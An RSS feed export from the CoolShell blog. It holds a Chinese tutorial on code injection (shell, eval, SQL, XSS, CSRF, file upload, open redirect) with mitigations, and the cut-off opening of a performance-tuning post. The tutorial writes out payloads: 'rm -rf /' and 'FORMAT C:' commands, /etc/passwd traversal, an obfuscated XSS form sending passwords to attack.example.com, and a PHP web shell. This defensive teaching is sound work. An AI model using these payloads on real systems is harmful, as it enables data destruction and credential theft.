<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SQL | 酷 壳 - CoolShell</title>
	<atom:link href="https://coolshell.cn/tag/sql/feed" rel="self" type="application/rss+xml" />
	<link>https://coolshell.cn</link>
	<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>
	<lastBuildDate>Sun, 30 Mar 2014 03:41:00 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>
	<item>
		<title>程序员疫苗：代码注入</title>
		<link>https://coolshell.cn/articles/8711.html</link>
					<comments>https://coolshell.cn/articles/8711.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 10 Dec 2012 00:34:48 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[CRSF]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8711</guid>

					<description><![CDATA[<p>几个月在我的微博上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8711.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8711.html">程序员疫苗：代码注入</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-8730" title="程序员疫苗" src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg" alt="" width="245" height="206" srcset="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg 350w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-300x252.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-321x270.jpg 321w" sizes="(max-width: 245px) 100vw, 245px" />几个月在<a href="http://weibo.com/haeol" target="_blank">我的微博</a>上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样，我们应该给我们的新入行的程序员注射一些疫苗，就像给新生儿打疫苗一样，希望程序员从入行时就对这些错误有抵抗力。</p>
<p>我的那个疫苗网站正在建议中（不好意思拖了很久），不过，我可以先写一些关于程序员疫苗性质的文章，也算是热热身。希望大家喜欢，先向大家介绍第一注疫苗——代码注入。</p>
<h4>Shell注入</h4>
<p>我们先来看一段perl的代码：</p>
<p>[perl]use CGI qw(:standard);<br />
$name = param(&#8216;name&#8217;);<br />
$nslookup = &quot;/path/to/nslookup&quot;;<br />
print header;<br />
if (open($fh, &quot;$nslookup $name|&quot;)) {<br />
    while (&lt;$fh&gt;) {<br />
        print escapeHTML($_);<br />
        print &quot;&lt;br&gt;\n&quot;;<br />
    }<br />
    close($fh);<br />
}[/perl]</p>
<p>如果用户输入的参数是：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">coolshell.cn%20%3B%20/bin/ls%20-l</code></p>
<p>那么，这段perl的程序就成了：</p>
<p><span id="more-8711"></span></p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">/path/to/nslookup coolshell.cn ; /bin/ls -l</code></p>
<p>我们再来看一段PHP的程序：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$myvar = &#039;somevalue&#039;;
$x = $_GET[&#039;arg&#039;];
eval(&#039;$myvar = &#039; . $x . &#039;;&#039;);</pre>
<p>&#8220;<code>eval</code>&#8220;的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果&#8221;arg&#8221;如果被设成&#8221;<code>10; system('rm -rf /')</code>&#8220;，后面的&#8221;<code>system('rm -rf /')</code>&#8220;代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“<a title="一个空格引发的惨剧" href="https://coolshell.cn/articles/4875.html" target="_blank">一个空格引发的悲剧</a>”）</p>
<p>再来看一个PHP的代码</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$isadmin= false;
...
...
foreach ($_GET as $key =&gt; $value) {
  $$key = $value;
}</pre>
<p>如果攻击者在查询字符串中给定&#8221;isadmin=1&#8243;，那$isadmin将会被设为值 &#8220;1&#8221;，然后攻击值就取得了网站应用的admin权限了。</p>
<p>再来看一个PHP的示例：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$action = &#039;login&#039;;
   if (__isset( $_GET[&#039;act&#039;] ) )
      $action = $_GET[&#039;act&#039;];
   require( $action . &#039;.php&#039; ); </pre>
<p>这个代码相当危险，攻击者有可能可以干这些事：</p>
<ul>
<li><code>/test.php?act=<strong>http://evil/exploit</strong></code> &#8211; 注入远程机器上有漏洞的文件。</li>
<li><code>/test.php?act=<strong>/home/www/bbs/upload/exploit</strong></code> &#8211; 从一个已经上载、叫做exploit.php文件运行其代码。</li>
<li><code>/test.php?act=<strong>../../../../etc/passwd%00</strong></code> &#8211; 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除<code>.php</code>扩展名限制，允许访问其他非 .php 结尾文件。 (PHP默认值&#8221;magic_quotes_gpc = On&#8221;可以终止这种攻击)</li>
</ul>
<p>这样的示例有很多，只要你的程序有诸如：<code>system()</code>、<code>StartProcess()</code>、<code>java.lang.Runtime.exec()</code>、<code>System.Diagnostics.Process.Start()</code>以及类似的应用程序接口，都是比较危险的，最好不要让其中的字符串去拼装用户的输入。</p>
<p>PHP提供<code><a href="http://www.php.net/manual/en/function.escapeshellarg.php" rel="nofollow">escapeshellarg()</a></code>和<code><a href="http://www.php.net/manual/en/function.escapeshellcmd.php" rel="nofollow">escapeshellcmd()</a></code>以在调用方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 。</p>
<h4>SQL注入</h4>
<p>SQL injection，是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。</p>
<p>在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：</p>
<ol>
<li>在应用程序中使用字符串联结方式组合SQL指令（如：引号没有转义）。</li>
<li>在应用程序链接数据库时使用权限过大的帐户（如：很多开发人员都喜欢用sa（最高权限的系统管理员帐户）连接Microsoft SQL Server数据库）。</li>
<li>在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等）</li>
<li>过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。</li>
</ol>
<p>例程：</p>
<p>某个网站的登录验证的SQL查询代码为</p>
<div dir="ltr">
<div>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users
WHERE (name = &#039;&quot; + userName + &quot;&#039;) and (pw = &#039;&quot;+ passWord +&quot;&#039;);&quot;</pre>
</div>
</div>
<p>用户在登录时恶意输入如下的的用户名和口令：</p>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">userName = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>
</div>
</div>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">passWord = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>
</div>
</div>
<p>此时，将导致原本的SQL字符串被解析为：</p>
<div dir="ltr">
<div>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users
WHERE (name = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;) and (pw = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;);&quot;</pre>
</div>
</div>
<p>也就是实际上运行的SQL命令会变成下面这样的，因此导致无帐号密码，也可登录网站。</p>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users;&quot;</code></p>
</div>
</div>
<p>这还不算恶劣的，真正恶劣的是在你的语句后再加一个自己的语句，如：</p>
<p><code data-enlighter-language="sql" class="EnlighterJSRAW">username= &quot;&#039; ; DELETE FROM users; --&quot;;</code></p>
<p>这样一来，要么整个数据库的表被人盗走，要么被数据库被删除。</p>
<p><strong>所以SQL注入攻击被俗称为黑客的填空游戏</strong>。你是否还记得酷壳<a title="千万别惹程序员" href="https://coolshell.cn/articles/6639.html" target="_blank">这篇文章里的SQL注入</a>？</p>
<p><img decoding="async" loading="lazy" class="aligncenter" title="SQL-injection-attack(adjusted)" src="https://coolshell.cn//wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg" alt="" width="600" height="407" /></p>
<p>当他们发现一个网站有SQL注入的时候，他们一般会干下面的事：</p>
<ul>
<li>盗取数据表中的数据，例如个人机密数据（信用卡，身份证，手机号，通讯录……），帐户数据，密码等，获得用户的数据和信息后对这些用户进行“社会工程学”活动（如：<a title="为什么不能用微信或米聊这类的软件" href="https://coolshell.cn/articles/8638.html" target="_blank">我前两天在微信上亲身经历</a>）。</li>
</ul>
<ul>
<li>取得系统管理员权限（例如ALTER LOGIN sa WITH PASSWORD=&#8217;xxxxxx&#8217;）。</li>
</ul>
<ul>
<li>在数据库中的数据中插入一些HTML/JS代码，有可能得以在网页加入恶意链接以及XSS，这样一来就让访问者被黑。</li>
</ul>
<ul>
<li>经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如：MS SQL Server的 xp_cmdshell &#8220;net stop iisadmin&#8221;可停止服务器的IIS服务）。甚至破坏硬盘数据，瘫痪全系统（例如xp_cmdshell &#8220;FORMAT C:&#8221;）。</li>
</ul>
<div>现在的黑客比较坏，瘫痪系统的事，他们干的越来越少，因为没什么利益，他们希望通过获取用户的帐号信息后，转而攻击用户别的帐号，如游戏帐号，网银帐号，QQ帐号等等他们可以获利的事情（这就是为什么我希望大家<a title="如何管理并设计你的口令" href="https://coolshell.cn/articles/2428.html" target="_blank">在不站点上使用不同的口令</a>，甚至不同的用户信息的原因）</div>
<p><strong>如何避免</strong></p>
<ul>
<li>在组合SQL字符串时，先针对所传入的参数作字符转义（如：将单引号字符取代为连续2个单引号字符）。如果使用PHP开发网页程序的话，亦可打开PHP的Magic quote功能自动将所有的网页传入参数，将单引号字符取代为连续2个单引号字符。<strong>如果可能应该过滤以下字符：分号“;”，两个减号“&#8211;”，单引号“&#8217;”，注释“/* &#8230; */”</strong>。（当然，因为注入攻击一般用闭合的引号来玩，所以把引号转义了应该就没有什么问题了）</li>
</ul>
<ul>
<li>更换危险字符。例如在PHP通过<code>addslashes()</code>函数保护SQL注入。</li>
</ul>
<ul>
<li>限制用户输入的长度，限制用户输入的取值范围。</li>
</ul>
<ul>
<li>为当前应用建立权限比较小的数据库用户，这样不会导致数据库管理员丢失。</li>
</ul>
<ul>
<li>把数据库操作封装成一个Service，对于敏感数据，对于每个客户端的IP，在一定时间内每次只返回一条记录。这样可以避免被拖库。</li>
</ul>
<h4></h4>
<h4>跨网站脚本注 入</h4>
<p><strong>跨网站脚本</strong>（<strong>Cross-site</strong> scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>
<p>假如我们有这样一段PHP的代码：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$username = $_GET[&#039;username&#039;];
echo &#039;&lt;div&gt; Welcome, &#039; . $username . &#039;&lt;/div&gt;&#039;;</pre>
<p>那么我们可以这样来注入：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">http://trustedSite.example.com/welcome.php?username=&lt;Script Language=&#8221;Javascript&#8221;&gt;alert(&#8220;You&#8217;ve been attacked!&#8221;);&lt;/Script&gt;</div>
<p>甚至这样：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">http://trustedSite.example.com/welcome.php?username=&lt;div id=&#8221;stealPassword&#8221;&gt;Please Login:&lt;form name=&#8221;input&#8221; action=&#8221;http://attack.example.com/stealPassword.php&#8221; method=&#8221;post&#8221;&gt;Username: &lt;input type=&#8221;text&#8221; name=&#8221;username&#8221; /&gt;&lt;br/&gt;Password: &lt;input type=&#8221;password&#8221; name=&#8221;password&#8221; /&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;Login&#8221; /&gt;&lt;/form&gt;&lt;/div&gt;</div>
<p>这会让网页显示以下内容：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;div class=&quot;header&quot;&gt; Welcome,
    &lt;div id=&quot;stealPassword&quot;&gt;Please Login:
        &lt;form name=&quot;input&quot; action=&quot;attack.example.com/stealPassword.php&quot; method=&quot;post&quot;&gt;
            Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;
            &lt;br/&gt;
            Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;
            &lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/div&gt;
</pre>
<p>注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码)：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">
<div>trustedSite.example.com/welcome.php?username=&lt;script+type=&#8221;text/javascript&#8221;&gt;</div>
<div>document.write(&#8216;\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073</div>
<div>\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064</div>
<div>\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067</div>
<div>\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D</div>
<div>\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063</div>
<div>\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F</div>
<div>\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D</div>
<div>\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061</div>
<div>\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068</div>
<div>\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070</div>
<div>\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D</div>
<div>\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079</div>
<div>\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061</div>
<div>\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065</div>
<div>\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073</div>
<div>\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075</div>
<div>\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073</div>
<div>\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022</div>
<div>\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E</div>
<div>\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D</div>
<div>\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C</div>
<div>\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F</div>
<div>\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D&#8217;);&lt;/script&gt;</div>
</div>
<p><strong>XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作（甚至偷用户的cookie）</strong>。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招，还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《<a title="新浪微博的XSS攻击" href="https://coolshell.cn/articles/4914.html" target="_blank">新浪微博的XSS攻击</a>》一文。XSS攻击是程序员有一糊涂就很容易犯的错误，你还可以看看网上的《<a href="http://www.cnblogs.com/kingthy/archive/2011/08/20/2147355.html" target="_blank">腾讯微博的XSS攻击</a>》。</p>
<p>XSS攻击在论坛的用户签档里面（使用img标签）也发生过很多次，包括像一些使用bcode的网站，很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。</p>
<p>不要以为XSS攻击是我们的程序没有写好，有时候，我们会引用别人站点上的js文件，比如：放一个天气预报的小Widget的js，或是一个流量监控，或是一段广告的js文件。你不知道这些东西是不是有问题，如果有恶意的话，这就是你自己主动注入攻击代码了。</p>
<p><strong>另外，XSS攻击有一部分是和浏览器有关的。</strong>比如，如下的一些例子，你可能从来都没有想过吧？（<strong>更多的例子可以参看酷壳很早以前的这篇文章《<a href="https://coolshell.cn/articles/2416.html" target="_blank">浏览器HTML安全列表</a>》</strong>）</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;table background=”javascript:alert(1)”&gt;

&lt;meta charset=”mac-farsi”&gt;¼script¾alert(1)¼/script¾

&lt;img src=”javascript:alert(1)”&gt;</pre>
<p>XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接，通过使用用户在B站点上的登录且还没有过期的cookie，从而使得用户的B站点被攻击。（这得益于现在的多Tab页的浏览器，大家都会同时打开并登录很多的网站，而这些不同网站的页面间的cookie又是共享的）</p>
<p>于是，如果我在A站点内的某个贴子内注入这么一段代码：</p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;img src=&quot;http://bank.example.com/transfer?account=XXX&amp;amount=1000000&amp;for=haoel&quot;&gt;</code></p>
<p>很有可能你就在访问A站的这个贴子时，你的网银可能向我转了一些钱。</p>
<p><strong>如何避免</strong></p>
<p>要防止XSS攻击，一般来说有下面几种手段：</p>
<ul>
<li>严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。</li>
</ul>
<ul>
<li>严格过滤用户的输入。如：
<ul>
<li>PHP的<code>htmlentities()或是htmlspecialchars()或是strip_tags()</code>。</li>
<li>Python的<code>cgi.escape()</code></li>
<li>ASP的<code>Server.HTMLEncode()</code>。</li>
<li>Node.js的node-validator。</li>
<li>Java的<a href="http://code.google.com/p/xssprotect/" rel="nofollow">xssprotect</a>。</li>
</ul>
</li>
</ul>
<ul>
<li>在一些关键功能，完全不能信任cookie，必需要用户输入口令。如：修改口令，支付，修改电子邮件，查看用户的敏感信息等等。</li>
</ul>
<ul>
<li>限制cookie的过期时间。</li>
</ul>
<ul>
<li>对于CSRF攻击，一是需要检查http的reference header。二是不要使用GET方法来改变数据，三是对于要提交的表单，后台动态生成一个随机的token，这个token是攻击者很难伪造的。（对于token的生成，建议找一些成熟的lib库）</li>
</ul>
<p>另外，你可能觉得网站在处理用户的表单提交就行了，其实不是，<strong>想一想那些Web Mail，我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱，你打开一看，你就中招了</strong>。所以，WebMail一般都禁止显示图片和附件，这些都很危险，只有你完全了解来源的情况下才能打开。<strong>电子邮件的SMTP协议太差了，基本上无法校验其它邮件服务器的可信度，我甚至可以自己建一个本机的邮件服务器，想用谁的邮件地址发信就用谁的邮件地址发信</strong>。<span style="color: #cc0000;"><strong>所以，我再次真诚地告诉大家，请用gmail邮箱</strong></span>。别再跟我说什么QQMail之类的好用了。</p>
<h4>上传文件</h4>
<p>上传文件是一个很危险的功能，尤其是你如果不校验上传文件的类型的话，你可能会中很多很多的招，这种攻击相当狠。<strong>试想，如果用户上传给你一个PHP、ASP、JSP的文件，当有人访问这个文件时，你的服务器会解释执行之，这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。</strong></p>
<p>举个例子：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;form action=&quot;upload_picture.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
要上传的文件:
&lt;input type=&quot;file&quot; name=&quot;filename&quot;/&gt;
&lt;br/&gt;
&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;/&gt;
&lt;/form&gt;
</pre>
<p>&nbsp;</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$target = &quot;pictures/&quot; . basename($_FILES[&#039;uploadedfile&#039;][&#039;name&#039;]);
if(move_uploaded_file($_FILES[&#039;uploadedfile&#039;][&#039;tmp_name&#039;], $target)){
    echo &quot;图片文件上传成功&quot;;
}else{&lt;/div&gt;
    echo &quot;图片文件上传失败&quot;;
}</pre>
<p>假如我上传了一个PHP文件如下：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">&lt;?php
system($_GET[&#039;cmd&#039;]);
?&gt;</pre>
<p>那么，我就可以通过如下的URL访问攻击你的网站了：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</code></p>
<p>抵御这样的攻击有两种手段：</p>
<p>1）限制上传文件的文件扩展名。</p>
<p>2）千万不要使用root或Administrator来运行你的Web应用。</p>
<h4>URL跳转</h4>
<p>URL跳转很有可能会成为攻击利用的工具。</p>
<p>比如下面的PHP代码：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$redirect_url = $_GET[&#039;url&#039;];
header(&quot;Location: &quot; . $redirect_url);</pre>
<p>这样的代码可能很常见，比如当用户在访问你的网站某个页观的时候没有权限，于是你的网站跳转到登录页面，当然登录完成后又跳转回刚才他访问的那个页面。一般来说，我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。</p>
<p>于是我们就可以通过下面的URL，跳转到一个恶意网站上，而那个网站上可能有一段CSRF的代码在等着你，或是一个钓鱼网站。</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">http://bank.example.com/redirect?url=http://attacker.example.net</code></p>
<p>这种攻击具有的迷惑性在于，用户看到的http://bank.example.com，<strong>以为是一个合法网站，于是就点了这个链接，结果通过这个合法网站，把用户带到了一个恶意网站，而这个恶意网站上可能把页面做得跟这个合法网站一模一样，你还以为访问的是正确的地方，结果就被钓鱼了</strong>。</p>
<p>解决这个问题很简单，你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。</p>
<p>你可以看看Google和Baidu搜索引擎的链接跳转，百度的跳转链接是被加密过的，而Google的网站链接很长，里面有网站的明文，但是会有几个加密过的参数，如果你把那些参数移除掉，Google会显示一个重定向的提醒页面。（我个人觉得还是Google做得好）</p>
<p>（本篇文章结束）</p>
<p>这段时间工作和家里的事比较多，所以时间有限，更新不快，而此篇行文比较仓促，欢迎大家补充，并指出我文中的问题。<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="你会做Web上的用户登录功能吗？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_title">你会做Web上的用户登录功能吗？</a></li><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8711.html">程序员疫苗：代码注入</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8711.html/feed</wfw:commentRss>
			<slash:comments>63</slash:comments>
		
		
			</item>
		<item>
		<title>性能调优攻略</title>
		<link>https://coolshell.cn/articles/7490.html</link>
					<comments>https://coolshell.cn/articles/7490.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 20 Jun 2012 01:24:53 +0000</pubDate>
				<category><![CDATA[Unix/Linux]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[系统架构]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[TCP]]></category>
		<category><![CDATA[UDP]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=7490</guid>

					<description><![CDATA[<p>关于性能优化这是一个比较大的话题，在《由12306.cn谈谈网站性能技术》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点，今天，想从一些技术细节上谈谈...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/7490.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/7490.html">性能调优攻略</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-medium wp-image-7641" title="Performance Tuning" src="https://coolshell.cn/wp-content/uploads/2012/06/f1-300x216.jpg" alt="" width="300" height="216" srcset="https://coolshell.cn/wp-content/uploads/2012/06/f1-300x216.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/06/f1.jpg 350w" sizes="(max-width: 300px) 100vw, 300px" />关于性能优化这是一个比较大的话题，在《<a title="由12306.cn谈谈网站性能技术" href="https://coolshell.cn/articles/6470.html" target="_blank">由12306.cn谈谈网站性能技术</a>》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点，今天，想从一些技术细节上谈谈性能优化，主要是一些代码级别的技术和方法。<strong>本文的东西是我的一些经验和知识，并不一定全对，希望大家指正和补充</strong>。</p>
<p>在开始这篇文章之前，大家可以移步去看一下酷壳以前发表的《<a title="代码优化概要" href="https://coolshell.cn/articles/2967.html" target="_blank">代码优化概要</a>》，这篇文章基本上告诉你——<strong>要进行优化，先得找到性能瓶颈</strong>！ 但是在讲如何定位系统性能瓶劲之前，请让我讲一下系统性能的定义和测试，因为没有这两件事，后面的定位和优化无从谈起。</p>
